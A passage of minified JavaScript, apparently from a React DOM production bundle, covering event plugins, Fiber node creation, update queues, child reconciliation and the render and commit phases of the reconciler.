e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:null,deltaMode:null});var Hn={},Wn={};"abort animationEnd animationIteration animationStart blur cancel canPlay canPlayThrough click close contextMenu copy cut doubleClick drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error focus input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing progress rateChange reset scroll seeked seeking stalled submit suspend timeUpdate toggle touchCancel touchEnd touchMove touchStart transitionEnd volumeChange waiting wheel".split(" ").forEach(function(e){var t=e[0].toUpperCase()+e.slice(1),n="on"+t;n={phasedRegistrationNames:{bubbled:n,captured:n+"Capture"},dependencies:[t="top"+t]};Hn[e]=n;Wn[t]=n});var Un={eventTypes:Hn,extractEvents:function(e,t,n,o){var r=Wn[e];if(!r)return null;switch(e){case"topKeyPress":if(0===Dn(n))return null;case"topKeyDown":case"topKeyUp":e=Mn;break;case"topBlur":case"topFocus":e=Ln;break;case"topClick":if(2===n.button)return null;case"topDoubleClick":case"topMouseDown":case"topMouseMove":case"topMouseUp":case"topMouseOut":case"topMouseOver":case"topContextMenu":e=Wt;break;case"topDrag":case"topDragEnd":case"topDragEnter":case"topDragExit":case"topDragLeave":case"topDragOver":case"topDragStart":case"topDrop":e=An;break;case"topTouchCancel":case"topTouchEnd":case"topTouchMove":case"topTouchStart":e=Bn;break;case"topAnimationEnd":case"topAnimationIteration":case"topAnimationStart":e=In;break;case"topTransitionEnd":e=Nn;break;case"topScroll":e=Bt;break;case"topWheel":e=Fn;break;case"topCopy":case"topCut":case"topPaste":e=On;break;default:e=Pe}Se(t=e.getPooled(r,t,n,o));return t}};en=function(e,t,n,o){ae(e=ie(e,t,n,o));se(!1)};oe.injectEventPluginOrder("ResponderEventPlugin SimpleEventPlugin TapEventPlugin EnterLeaveEventPlugin ChangeEventPlugin SelectEventPlugin BeforeInputEventPlugin".split(" "));q=ge.getFiberCurrentPropsFromNode;X=ge.getInstanceFromNode;J=ge.getNodeFromInstance;oe.injectEventPluginsByName({SimpleEventPlugin:Un,EnterLeaveEventPlugin:zt,ChangeEventPlugin:At,SelectEventPlugin:xn,BeforeInputEventPlugin:et});var zn=[],jn=-1;function Gn(e){0>jn||(e.current=zn[jn],zn[jn]=null,jn--)}function Vn(e,t){zn[++jn]=e.current;e.current=t}new Set;var Kn={current:h},qn={current:!1},Xn=h;function Jn(e){return $n(e)?Xn:Kn.current}function Yn(e,t){var n=e.type.contextTypes;if(!n)return h;var o=e.stateNode;if(o&&o.__reactInternalMemoizedUnmaskedChildContext===t)return o.__reactInternalMemoizedMaskedChildContext;var r,i={};for(r in n)i[r]=t[r];o&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i);return i}function $n(e){return 2===e.tag&&null!=e.type.childContextTypes}function Zn(e){$n(e)&&(Gn(qn,e),Gn(Kn,e))}function Qn(e,t,n){null!=Kn.cursor&&p("168");Vn(Kn,t,e);Vn(qn,n,e)}function eo(e,t){var n=e.stateNode,o=e.type.childContextTypes;if("function"!=typeof n.getChildContext)return t;n=n.getChildContext();for(var r in n)r in o||p("108",Gt(e)||"Unknown",r);return i({},t,n)}function to(e){if(!$n(e))return!1;var t=e.stateNode;t=t&&t.__reactInternalMemoizedMergedChildContext||h;Xn=Kn.current;Vn(Kn,t,e);Vn(qn,qn.current,e);return!0}function no(e,t){var n=e.stateNode;n||p("169");if(t){var o=eo(e,Xn);n.__reactInternalMemoizedMergedChildContext=o;Gn(qn,e);Gn(Kn,e);Vn(Kn,o,e)}else Gn(qn,e);Vn(qn,t,e)}function oo(e,t,n){this.tag=e;this.key=t;this.stateNode=this.type=null;this.sibling=this.child=this.return=null;this.index=0;this.memoizedState=this.updateQueue=this.memoizedProps=this.pendingProps=this.ref=null;this.internalContextTag=n;this.effectTag=0;this.lastEffect=this.firstEffect=this.nextEffect=null;this.expirationTime=0;this.alternate=null}function ro(e,t,n){var o=e.alternate;null===o?((o=new oo(e.tag,e.key,e.internalContextTag)).type=e.type,o.stateNode=e.stateNode,o.alternate=e,e.alternate=o):(o.effectTag=0,o.nextEffect=null,o.firstEffect=null,o.lastEffect=null);o.expirationTime=n;o.pendingProps=t;o.child=e.child;o.memoizedProps=e.memoizedProps;o.memoizedState=e.memoizedState;o.updateQueue=e.updateQueue;o.sibling=e.sibling;o.index=e.index;o.ref=e.ref;return o}function io(e,t,n){var o=void 0,r=e.type,i=e.key;"function"==typeof r?((o=r.prototype&&r.prototype.isReactComponent?new oo(2,i,t):new oo(0,i,t)).type=r,o.pendingProps=e.props):"string"==typeof r?((o=new oo(5,i,t)).type=r,o.pendingProps=e.props):"object"==typeof r&&null!==r&&"number"==typeof r.tag?(o=r).pendingProps=e.props:p("130",null==r?r:typeof r,"");o.expirationTime=n;return o}function ao(e,t,n,o){(t=new oo(10,o,t)).pendingProps=e;t.expirationTime=n;return t}function so(e,t,n){(t=new oo(6,null,t)).pendingProps=e;t.expirationTime=n;return t}function lo(e,t,n){(t=new oo(7,e.key,t)).type=e.handler;t.pendingProps=e;t.expirationTime=n;return t}function co(e,t,n){(e=new oo(9,null,t)).expirationTime=n;return e}function uo(e,t,n){(t=new oo(4,e.key,t)).pendingProps=e.children||[];t.expirationTime=n;t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation};return t}var ho=null,po=null;function mo(e){return function(t){try{return e(t)}catch(e){}}}function go(e){if("undefined"==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__)return!1;var t=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(t.isDisabled||!t.supportsFiber)return!0;try{var n=t.inject(e);ho=mo(function(e){return t.onCommitFiberRoot(n,e)});po=mo(function(e){return t.onCommitFiberUnmount(n,e)})}catch(e){}return!0}function fo(e){"function"==typeof ho&&ho(e)}function _o(e){"function"==typeof po&&po(e)}function vo(e){return{baseState:e,expirationTime:0,first:null,last:null,callbackList:null,hasForceUpdate:!1,isInitialized:!1}}function bo(e,t){null===e.last?e.first=e.last=t:(e.last.next=t,e.last=t);(0===e.expirationTime||e.expirationTime>t.expirationTime)&&(e.expirationTime=t.expirationTime)}function Co(e,t){var n=e.alternate,o=e.updateQueue;null===o&&(o=e.updateQueue=vo(null));null!==n?null===(e=n.updateQueue)&&(e=n.updateQueue=vo(null)):e=null;null===(e=e!==o?e:null)?bo(o,t):null===o.last||null===e.last?(bo(o,t),bo(e,t)):(bo(o,t),e.last=t)}function yo(e,t,n,o){return"function"==typeof(e=e.partialState)?e.call(t,n,o):e}function Eo(e,t,n,o,r,a){null!==e&&e.updateQueue===n&&(n=t.updateQueue={baseState:n.baseState,expirationTime:n.expirationTime,first:n.first,last:n.last,isInitialized:n.isInitialized,callbackList:null,hasForceUpdate:!1});n.expirationTime=0;n.isInitialized?e=n.baseState:(e=n.baseState=t.memoizedState,n.isInitialized=!0);for(var s=!0,l=n.first,c=!1;null!==l;){var u=l.expirationTime;if(u>a){var d=n.expirationTime;(0===d||d>u)&&(n.expirationTime=u);c||(c=!0,n.baseState=e)}else{c||(n.first=l.next,null===n.first&&(n.last=null));l.isReplace?(e=yo(l,o,e,r),s=!0):(u=yo(l,o,e,r))&&(e=s?i({},e,u):i(e,u),s=!1);l.isForced&&(n.hasForceUpdate=!0);null!==l.callback&&(null===(u=n.callbackList)&&(u=n.callbackList=[]),u.push(l))}l=l.next}null!==n.callbackList?t.effectTag|=32:null!==n.first||n.hasForceUpdate||(t.updateQueue=null);c||(n.baseState=e);return e}function So(e,t){var n=e.callbackList;if(null!==n)for(e.callbackList=null,e=0;e<n.length;e++){var o=n[e],r=o.callback;o.callback=null;"function"!=typeof r&&p("191",r);r.call(t)}}function To(e,t,n,o){function r(e,t){t.updater=i;e.stateNode=t;t._reactInternalFiber=e}var i={isMounted:Kt,enqueueSetState:function(n,o,r){n=n._reactInternalFiber;r=void 0===r?null:r;var i=t(n);Co(n,{expirationTime:i,partialState:o,callback:r,isReplace:!1,isForced:!1,nextCallback:null,next:null});e(n,i)},enqueueReplaceState:function(n,o,r){n=n._reactInternalFiber;r=void 0===r?null:r;var i=t(n);Co(n,{expirationTime:i,partialState:o,callback:r,isReplace:!0,isForced:!1,nextCallback:null,next:null});e(n,i)},enqueueForceUpdate:function(n,o){n=n._reactInternalFiber;o=void 0===o?null:o;var r=t(n);Co(n,{expirationTime:r,partialState:null,callback:o,isReplace:!1,isForced:!0,nextCallback:null,next:null});e(n,r)}};return{adoptClassInstance:r,constructClassInstance:function(e,t){var n=e.type,o=Jn(e),i=2===e.tag&&null!=e.type.contextTypes,a=i?Yn(e,o):h;r(e,t=new n(t,a));i&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=o,e.__reactInternalMemoizedMaskedChildContext=a);return t},mountClassInstance:function(e,t){var n=e.alternate,o=e.stateNode,r=o.state||null,a=e.pendingProps;a||p("158");var s=Jn(e);o.props=a;o.state=e.memoizedState=r;o.refs=h;o.context=Yn(e,s);null!=e.type&&null!=e.type.prototype&&!0===e.type.prototype.unstable_isAsyncReactComponent&&(e.internalContextTag|=1);"function"==typeof o.componentWillMount&&(r=o.state,o.componentWillMount(),r!==o.state&&i.enqueueReplaceState(o,o.state,null),null!==(r=e.updateQueue)&&(o.state=Eo(n,e,r,o,a,t)));"function"==typeof o.componentDidMount&&(e.effectTag|=4)},updateClassInstance:function(e,t,r){var a=t.stateNode;a.props=t.memoizedProps;a.state=t.memoizedState;var s=t.memoizedProps,l=t.pendingProps;l||null==(l=s)&&p("159");var u=a.context,d=Jn(t);d=Yn(t,d);"function"!=typeof a.componentWillReceiveProps||s===l&&u===d||(u=a.state,a.componentWillReceiveProps(l,d),a.state!==u&&i.enqueueReplaceState(a,a.state,null));u=t.memoizedState;r=null!==t.updateQueue?Eo(e,t,t.updateQueue,a,l,r):u;if(!(s!==l||u!==r||qn.current||null!==t.updateQueue&&t.updateQueue.hasForceUpdate))return"function"!=typeof a.componentDidUpdate||s===e.memoizedProps&&u===e.memoizedState||(t.effectTag|=4),!1;var h=l;if(null===s||null!==t.updateQueue&&t.updateQueue.hasForceUpdate)h=!0;else{var m=t.stateNode,g=t.type;h="function"==typeof m.shouldComponentUpdate?m.shouldComponentUpdate(h,r,d):!g.prototype||!g.prototype.isPureReactComponent||(!c(s,h)||!c(u,r))}h?("function"==typeof a.componentWillUpdate&&a.componentWillUpdate(l,r,d),"function"==typeof a.componentDidUpdate&&(t.effectTag|=4)):("function"!=typeof a.componentDidUpdate||s===e.memoizedProps&&u===e.memoizedState||(t.effectTag|=4),n(t,l),o(t,r));a.props=l;a.state=r;a.context=d;return h}}}var wo="function"==typeof Symbol&&Symbol.for,ko=wo?Symbol.for("react.element"):60103,xo=wo?Symbol.for("react.call"):60104,Io=wo?Symbol.for("react.return"):60105,Oo=wo?Symbol.for("react.portal"):60106,Lo=wo?Symbol.for("react.fragment"):60107,Do="function"==typeof Symbol&&Symbol.iterator;function Ro(e){return null===e||void 0===e?null:"function"==typeof(e=Do&&e[Do]||e["@@iterator"])?e:null}var Po=Array.isArray;function Mo(e,t){var n=t.ref;if(null!==n&&"function"!=typeof n){if(t._owner){var o=void 0;(t=t._owner)&&(2!==t.tag&&p("110"),o=t.stateNode);o||p("147",n);var r=""+n;if(null!==e&&null!==e.ref&&e.ref._stringRef===r)return e.ref;(e=function(e){var t=o.refs===h?o.refs={}:o.refs;null===e?delete t[r]:t[r]=e})._stringRef=r;return e}"string"!=typeof n&&p("148");t._owner||p("149",n)}return n}function Ao(e,t){"textarea"!==e.type&&p("31","[object Object]"===Object.prototype.toString.call(t)?"object with keys {"+Object.keys(t).join(", ")+"}":t,"")}function Bo(e){function t(t,n){if(e){var o=t.lastEffect;null!==o?(o.nextEffect=n,t.lastEffect=n):t.firstEffect=t.lastEffect=n;n.nextEffect=null;n.effectTag=8}}function n(n,o){if(!e)return null;for(;null!==o;)t(n,o),o=o.sibling;return null}function o(e,t){for(e=new Map;null!==t;)null!==t.key?e.set(t.key,t):e.set(t.index,t),t=t.sibling;return e}function r(e,t,n){(e=ro(e,t,n)).index=0;e.sibling=null;return e}function i(t,n,o){t.index=o;if(!e)return n;if(null!==(o=t.alternate))return(o=o.index)<n?(t.effectTag=2,n):o;t.effectTag=2;return n}function a(t){e&&null===t.alternate&&(t.effectTag=2);return t}function s(e,t,n,o){if(null===t||6!==t.tag)return(t=so(n,e.internalContextTag,o)).return=e,t;(t=r(t,n,o)).return=e;return t}function l(e,t,n,o){if(null!==t&&t.type===n.type)return(o=r(t,n.props,o)).ref=Mo(t,n),o.return=e,o;(o=io(n,e.internalContextTag,o)).ref=Mo(t,n);o.return=e;return o}function c(e,t,n,o){if(null===t||7!==t.tag)return(t=lo(n,e.internalContextTag,o)).return=e,t;(t=r(t,n,o)).return=e;return t}function u(e,t,n,o){if(null===t||9!==t.tag)return(t=co(n,e.internalContextTag,o)).type=n.value,t.return=e,t;(t=r(t,null,o)).type=n.value;t.return=e;return t}function d(e,t,n,o){if(null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation)return(t=uo(n,e.internalContextTag,o)).return=e,t;(t=r(t,n.children||[],o)).return=e;return t}function h(e,t,n,o,i){if(null===t||10!==t.tag)return(t=ao(n,e.internalContextTag,o,i)).return=e,t;(t=r(t,n,o)).return=e;return t}function m(e,t,n){if("string"==typeof t||"number"==typeof t)return(t=so(""+t,e.internalContextTag,n)).return=e,t;if("object"==typeof t&&null!==t){switch(t.$$typeof){case ko:if(t.type===Lo)return(t=ao(t.props.children,e.internalContextTag,n,t.key)).return=e,t;(n=io(t,e.internalContextTag,n)).ref=Mo(null,t);n.return=e;return n;case xo:return(t=lo(t,e.internalContextTag,n)).return=e,t;case Io:return(n=co(t,e.internalContextTag,n)).type=t.value,n.return=e,n;case Oo:return(t=uo(t,e.internalContextTag,n)).return=e,t}if(Po(t)||Ro(t))return(t=ao(t,e.internalContextTag,n,null)).return=e,t;Ao(e,t)}return null}function g(e,t,n,o){var r=null!==t?t.key:null;if("string"==typeof n||"number"==typeof n)return null!==r?null:s(e,t,""+n,o);if("object"==typeof n&&null!==n){switch(n.$$typeof){case ko:return n.key===r?n.type===Lo?h(e,t,n.props.children,o,r):l(e,t,n,o):null;case xo:return n.key===r?c(e,t,n,o):null;case Io:return null===r?u(e,t,n,o):null;case Oo:return n.key===r?d(e,t,n,o):null}if(Po(n)||Ro(n))return null!==r?null:h(e,t,n,o,null);Ao(e,n)}return null}function f(e,t,n,o,r){if("string"==typeof o||"number"==typeof o)return s(t,e=e.get(n)||null,""+o,r);if("object"==typeof o&&null!==o){switch(o.$$typeof){case ko:return e=e.get(null===o.key?n:o.key)||null,o.type===Lo?h(t,e,o.props.children,r,o.key):l(t,e,o,r);case xo:return c(t,e=e.get(null===o.key?n:o.key)||null,o,r);case Io:return u(t,e=e.get(n)||null,o,r);case Oo:return d(t,e=e.get(null===o.key?n:o.key)||null,o,r)}if(Po(o)||Ro(o))return h(t,e=e.get(n)||null,o,r,null);Ao(t,o)}return null}function _(r,a,s,l){for(var c=null,u=null,d=a,h=a=0,p=null;null!==d&&h<s.length;h++){d.index>h?(p=d,d=null):p=d.sibling;var _=g(r,d,s[h],l);if(null===_){null===d&&(d=p);break}e&&d&&null===_.alternate&&t(r,d);a=i(_,a,h);null===u?c=_:u.sibling=_;u=_;d=p}if(h===s.length)return n(r,d),c;if(null===d){for(;h<s.length;h++)(d=m(r,s[h],l))&&(a=i(d,a,h),null===u?c=d:u.sibling=d,u=d);return c}for(d=o(r,d);h<s.length;h++)if(p=f(d,r,h,s[h],l)){e&&null!==p.alternate&&d.delete(null===p.key?h:p.key);a=i(p,a,h);null===u?c=p:u.sibling=p;u=p}e&&d.forEach(function(e){return t(r,e)});return c}function v(r,a,s,l){var c=Ro(s);"function"!=typeof c&&p("150");null==(s=c.call(s))&&p("151");for(var u=c=null,d=a,h=a=0,_=null,v=s.next();null!==d&&!v.done;h++,v=s.next()){d.index>h?(_=d,d=null):_=d.sibling;var b=g(r,d,v.value,l);if(null===b){d||(d=_);break}e&&d&&null===b.alternate&&t(r,d);a=i(b,a,h);null===u?c=b:u.sibling=b;u=b;d=_}if(v.done)return n(r,d),c;if(null===d){for(;!v.done;h++,v=s.next())null!==(v=m(r,v.value,l))&&(a=i(v,a,h),null===u?c=v:u.sibling=v,u=v);return c}for(d=o(r,d);!v.done;h++,v=s.next())if(null!==(v=f(d,r,h,v.value,l))){e&&null!==v.alternate&&d.delete(null===v.key?h:v.key);a=i(v,a,h);null===u?c=v:u.sibling=v;u=v}e&&d.forEach(function(e){return t(r,e)});return c}return function(e,o,i,s){"object"==typeof i&&null!==i&&i.type===Lo&&null===i.key&&(i=i.props.children);var l="object"==typeof i&&null!==i;if(l)switch(i.$$typeof){case ko:e:{var c=i.key;for(l=o;null!==l;){if(l.key===c){if(10===l.tag?i.type===Lo:l.type===i.type){n(e,l.sibling);(o=r(l,i.type===Lo?i.props.children:i.props,s)).ref=Mo(l,i);o.return=e;e=o;break e}n(e,l);break}t(e,l);l=l.sibling}i.type===Lo?((o=ao(i.props.children,e.internalContextTag,s,i.key)).return=e,e=o):((s=io(i,e.internalContextTag,s)).ref=Mo(o,i),s.return=e,e=s)}return a(e);case xo:e:{for(l=i.key;null!==o;){if(o.key===l){if(7===o.tag){n(e,o.sibling);(o=r(o,i,s)).return=e;e=o;break e}n(e,o);break}t(e,o);o=o.sibling}(o=lo(i,e.internalContextTag,s)).return=e;e=o}return a(e);case Io:e:{if(null!==o){if(9===o.tag){n(e,o.sibling);(o=r(o,null,s)).type=i.value;o.return=e;e=o;break e}n(e,o)}(o=co(i,e.internalContextTag,s)).type=i.value;o.return=e;e=o}return a(e);case Oo:e:{for(l=i.key;null!==o;){if(o.key===l){if(4===o.tag&&o.stateNode.containerInfo===i.containerInfo&&o.stateNode.implementation===i.implementation){n(e,o.sibling);(o=r(o,i.children||[],s)).return=e;e=o;break e}n(e,o);break}t(e,o);o=o.sibling}(o=uo(i,e.internalContextTag,s)).return=e;e=o}return a(e)}if("string"==typeof i||"number"==typeof i)return i=""+i,null!==o&&6===o.tag?(n(e,o.sibling),o=r(o,i,s)):(n(e,o),o=so(i,e.internalContextTag,s)),o.return=e,a(e=o);if(Po(i))return _(e,o,i,s);if(Ro(i))return v(e,o,i,s);l&&Ao(e,i);if(void 0===i)switch(e.tag){case 2:case 1:p("152",(s=e.type).displayName||s.name||"Component")}return n(e,o)}}var No=Bo(!0),Fo=Bo(!1);function Ho(e,t,n,o,r){function i(e,t,n){var o=t.expirationTime;t.child=null===e?Fo(t,null,n,o):No(t,e.child,n,o)}function a(e,t){var n=t.ref;null===n||e&&e.ref===n||(t.effectTag|=128)}function s(e,t,n,o){a(e,t);if(!n)return o&&no(t,!1),c(e,t);n=t.stateNode;jt.current=t;var r=n.render();t.effectTag|=1;i(e,t,r);t.memoizedState=n.state;t.memoizedProps=n.props;o&&no(t,!0);return t.child}function l(e){var t=e.stateNode;t.pendingContext?Qn(e,t.pendingContext,t.pendingContext!==t.context):t.context&&Qn(e,t.context,!1);f(e,t.containerInfo)}function c(e,t){null!==e&&t.child!==e.child&&p("153");if(null!==t.child){var n=ro(e=t.child,e.pendingProps,e.expirationTime);t.child=n;for(n.return=t;null!==e.sibling;)e=e.sibling,(n=n.sibling=ro(e,e.pendingProps,e.expirationTime)).return=t;n.sibling=null}return t.child}function u(e,t){switch(t.tag){case 3:l(t);break;case 2:to(t);break;case 4:f(t,t.stateNode.containerInfo)}return null}var d=e.shouldSetTextContent,h=e.useSyncScheduling,m=e.shouldDeprioritizeSubtree,g=t.pushHostContext,f=t.pushHostContainer,_=n.enterHydrationState,v=n.resetHydrationState,b=n.tryToClaimNextHydratableInstance,C=(e=To(o,r,function(e,t){e.memoizedProps=t},function(e,t){e.memoizedState=t})).adoptClassInstance,y=e.constructClassInstance,E=e.mountClassInstance,S=e.updateClassInstance;return{beginWork:function(e,t,n){if(0===t.expirationTime||t.expirationTime>n)return u(e,t);switch(t.tag){case 0:null!==e&&p("155");var o=t.type,r=t.pendingProps,T=Jn(t);o=o(r,T=Yn(t,T));t.effectTag|=1;"object"==typeof o&&null!==o&&"function"==typeof o.render?(t.tag=2,r=to(t),C(t,o),E(t,n),t=s(e,t,!0,r)):(t.tag=1,i(e,t,o),t.memoizedProps=r,t=t.child);return t;case 1:e:{r=t.type;n=t.pendingProps;o=t.memoizedProps;if(qn.current)null===n&&(n=o);else if(null===n||o===n){t=c(e,t);break e}r=r(n,o=Yn(t,o=Jn(t)));t.effectTag|=1;i(e,t,r);t.memoizedProps=n;t=t.child}return t;case 2:return r=to(t),o=void 0,null===e?t.stateNode?p("153"):(y(t,t.pendingProps),E(t,n),o=!0):o=S(e,t,n),s(e,t,o,r);case 3:return l(t),null!==(r=t.updateQueue)?(o=t.memoizedState)===(r=Eo(e,t,r,null,null,n))?(v(),t=c(e,t)):(o=r.element,T=t.stateNode,(null===e||null===e.child)&&T.hydrate&&_(t)?(t.effectTag|=2,t.child=Fo(t,null,o,n)):(v(),i(e,t,o)),t.memoizedState=r,t=t.child):(v(),t=c(e,t)),t;case 5:g(t);null===e&&b(t);r=t.type;var w=t.memoizedProps;null===(o=t.pendingProps)&&(null===(o=w)&&p("154"));T=null!==e?e.memoizedProps:null;qn.current||null!==o&&w!==o?(w=o.children,d(r,o)?w=null:T&&d(r,T)&&(t.effectTag|=16),a(e,t),2147483647!==n&&!h&&m(r,o)?(t.expirationTime=2147483647,t=null):(i(e,t,w),t.memoizedProps=o,t=t.child)):t=c(e,t);return t;case 6:return null===e&&b(t),null===(e=t.pendingProps)&&(e=t.memoizedProps),t.memoizedProps=e,null;case 8:t.tag=7;case 7:r=t.pendingProps;qn.current?null===r&&(null===(r=e&&e.memoizedProps)&&p("154")):null!==r&&t.memoizedProps!==r||(r=t.memoizedProps);o=r.children;t.stateNode=null===e?Fo(t,t.stateNode,o,n):No(t,t.stateNode,o,n);t.memoizedProps=r;return t.stateNode;case 9:return null;case 4:e:{f(t,t.stateNode.containerInfo);r=t.pendingProps;if(qn.current)null===r&&(null==(r=e&&e.memoizedProps)&&p("154"));else if(null===r||t.memoizedProps===r){t=c(e,t);break e}null===e?t.child=No(t,null,r,n):i(e,t,r);t.memoizedProps=r;t=t.child}return t;case 10:e:{n=t.pendingProps;if(qn.current)null===n&&(n=t.memoizedProps);else if(null===n||t.memoizedProps===n){t=c(e,t);break e}i(e,t,n);t.memoizedProps=n;t=t.child}return t;default:p("156")}},beginFailedWork:function(e,t,n){switch(t.tag){case 2:to(t);break;case 3:l(t);break;default:p("157")}t.effectTag|=64;null===e?t.child=null:t.child!==e.child&&(t.child=e.child);if(0===t.expirationTime||t.expirationTime>n)return u(e,t);t.firstEffect=null;t.lastEffect=null;t.child=null===e?Fo(t,null,null,n):No(t,e.child,null,n);2===t.tag&&(e=t.stateNode,t.memoizedProps=e.props,t.memoizedState=e.state);return t.child}}}function Wo(e,t,n){function o(e){e.effectTag|=4}var r=e.createInstance,i=e.createTextInstance,a=e.appendInitialChild,s=e.finalizeInitialChildren,l=e.prepareUpdate,c=e.persistence,u=t.getRootHostContainer,d=t.popHostContext,h=t.getHostContext,m=t.popHostContainer,g=n.prepareToHydrateHostInstance,f=n.prepareToHydrateHostTextInstance,_=n.popHydrationState,v=void 0,b=void 0,C=void 0;e.mutation?(v=function(){},b=function(e,t,n){(t.updateQueue=n)&&o(t)},C=function(e,t,n,r){n!==r&&o(t)}):p(c?"235":"236");return{completeWork:function(e,t,n){var c=t.pendingProps;null===c?c=t.memoizedProps:2147483647===t.expirationTime&&2147483647!==n||(t.pendingProps=null);switch(t.tag){case 1:return null;case 2:return Zn(t),null;case 3:m(t);Gn(qn,t);Gn(Kn,t);(c=t.stateNode).pendingContext&&(c.context=c.pendingContext,c.pendingContext=null);null!==e&&null!==e.child||(_(t),t.effectTag&=-3);v(t);return null;case 5:d(t);n=u();var y=t.type;if(null!==e&&null!=t.stateNode){var E=e.memoizedProps,S=t.stateNode,T=h();S=l(S,y,E,c,n,T);b(e,t,S,y,E,c,n);e.ref!==t.ref&&(t.effectTag|=128)}else{if(!c)return null===t.stateNode&&p("166"),null;e=h();if(_(t))g(t,n,e)&&o(t);else{e=r(y,c,n,e,t);e:for(E=t.child;null!==E;){if(5===E.tag||6===E.tag)a(e,E.stateNode);else if(4!==E.tag&&null!==E.child){E.child.return=E;E=E.child;continue}if(E===t)break;for(;null===E.sibling;){if(null===E.return||E.return===t)break e;E=E.return}E.sibling.return=E.return;E=E.sibling}s(e,y,c,n)&&o(t);t.stateNode=e}null!==t.ref&&(t.effectTag|=128)}return null;case 6:if(e&&null!=t.stateNode)C(e,t,e.memoizedProps,c);else{if("string"!=typeof c)return null===t.stateNode&&p("166"),null;e=u();n=h();_(t)?f(t)&&o(t):t.stateNode=i(c,e,n,t)}return null;case 7:(c=t.memoizedProps)||p("165");t.tag=8;y=[];e:for((E=t.stateNode)&&(E.return=t);null!==E;){if(5===E.tag||6===E.tag||4===E.tag)p("247");else if(9===E.tag)y.push(E.type);else if(null!==E.child){E.child.return=E;E=E.child;continue}for(;null===E.sibling;){if(null===E.return||E.return===t)break e;E=E.return}E.sibling.return=E.return;E=E.sibling}c=(E=c.handler)(c.props,y);t.child=No(t,null!==e?e.child:null,c,n);return t.child;case 8:return t.tag=7,null;case 9:case 10:return null;case 4:return m(t),v(t),null;case 0:p("167");default:p("156")}}}}function Uo(e,t){function n(e){var n=e.ref;if(null!==n)try{n(null)}catch(n){t(e,n)}}function o(e){"function"==typeof _o&&_o(e);switch(e.tag){case 2:n(e);var o=e.stateNode;if("function"==typeof o.componentWillUnmount)try{o.props=e.memoizedProps,o.state=e.memoizedState,o.componentWillUnmount()}catch(n){t(e,n)}break;case 5:n(e);break;case 7:r(e.stateNode);break;case 4:l&&a(e)}}function r(e){for(var t=e;;)if(o(t),null===t.child||l&&4===t.tag){if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return;t=t.return}t.sibling.return=t.return;t=t.sibling}else t.child.return=t,t=t.child}function i(e){return 5===e.tag||3===e.tag||4===e.tag}function a(e){for(var t=e,n=!1,i=void 0,a=void 0;;){if(!n){n=t.return;e:for(;;){null===n&&p("160");switch(n.tag){case 5:i=n.stateNode;a=!1;break e;case 3:case 4:i=n.stateNode.containerInfo;a=!0;break e}n=n.return}n=!0}if(5===t.tag||6===t.tag)r(t),a?b(i,t.stateNode):v(i,t.stateNode);else if(4===t.tag?i=t.stateNode.containerInfo:o(t),null!==t.child){t.child.return=t;t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return;4===(t=t.return).tag&&(n=!1)}t.sibling.return=t.return;t=t.sibling}}var s=e.getPublicInstance,l=e.mutation;e=e.persistence;l||p(e?"235":"236");var c=l.commitMount,u=l.commitUpdate,d=l.resetTextContent,h=l.commitTextUpdate,m=l.appendChild,g=l.appendChildToContainer,f=l.insertBefore,_=l.insertInContainerBefore,v=l.removeChild,b=l.removeChildFromContainer;return{commitResetTextContent:function(e){d(e.stateNode)},commitPlacement:function(e){e:{for(var t=e.return;null!==t;){if(i(t)){var n=t;break e}t=t.return}p("160");n=void 0}var o=t=void 0;switch(n.tag){case 5:t=n.stateNode;o=!1;break;case 3:case 4:t=n.stateNode.containerInfo;o=!0;break;default:p("161")}16&n.effectTag&&(d(t),n.effectTag&=-17);e:t:for(n=e;;){for(;null===n.sibling;){if(null===n.return||i(n.return)){n=null;break e}n=n.return}n.sibling.return=n.return;for(n=n.sibling;5!==n.tag&&6!==n.tag;){if(2&n.effectTag)continue t;if(null===n.child||4===n.tag)continue t;n.child.return=n,n=n.child}if(!(2&n.effectTag)){n=n.stateNode;break e}}for(var r=e;;){if(5===r.tag||6===r.tag)n?o?_(t,r.stateNode,n):f(t,r.stateNode,n):o?g(t,r.stateNode):m(t,r.stateNode);else if(4!==r.tag&&null!==r.child){r.child.return=r;r=r.child;continue}if(r===e)break;for(;null===r.sibling;){if(null===r.return||r.return===e)return;r=r.return}r.sibling.return=r.return;r=r.sibling}},commitDeletion:function(e){a(e);e.return=null;e.child=null;e.alternate&&(e.alternate.child=null,e.alternate.return=null)},commitWork:function(e,t){switch(t.tag){case 2:break;case 5:var n=t.stateNode;if(null!=n){var o=t.memoizedProps;e=null!==e?e.memoizedProps:o;var r=t.type,i=t.updateQueue;t.updateQueue=null;null!==i&&u(n,i,r,e,o,t)}break;case 6:null===t.stateNode&&p("162");n=t.memoizedProps;h(t.stateNode,null!==e?e.memoizedProps:n,n);break;case 3:break;default:p("163")}},commitLifeCycles:function(e,t){switch(t.tag){case 2:var n=t.stateNode;if(4&t.effectTag)if(null===e)n.props=t.memoizedProps,n.state=t.memoizedState,n.componentDidMount();else{var o=e.memoizedProps;e=e.memoizedState;n.props=t.memoizedProps;n.state=t.memoizedState;n.componentDidUpdate(o,e)}null!==(t=t.updateQueue)&&So(t,n);break;case 3:null!==(n=t.updateQueue)&&So(n,null!==t.child?t.child.stateNode:null);break;case 5:n=t.stateNode;null===e&&4&t.effectTag&&c(n,t.type,t.memoizedProps,t);break;case 6:case 4:break;default:p("163")}},commitAttachRef:function(e){var t=e.ref;if(null!==t){var n=e.stateNode;switch(e.tag){case 5:t(s(n));break;default:t(n)}}},commitDetachRef:function(e){null!==(e=e.ref)&&e(null)}}}var zo={};function jo(e){function t(e){e===zo&&p("174");return e}var 